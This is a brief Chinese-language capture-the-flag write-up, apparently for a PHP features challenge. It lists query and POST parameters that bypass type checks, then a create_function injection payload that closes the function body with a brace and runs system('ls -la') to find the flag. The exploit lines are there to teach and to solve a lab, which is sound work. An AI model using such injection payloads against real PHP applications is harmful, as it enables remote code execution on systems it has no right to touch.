根据题目构造payload：?num[]=1&114=9e9
POST:514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a
然后题目让我们去Rc3_function.php
这里create_function会创建一个函数前面是参数列表后面是代码构造payload
nss=}system(‘ls -la’);//&shell=，这里}闭合create_function{，//注释后面的}，输入得到flag
了解过PHP特性吗
2026/2/9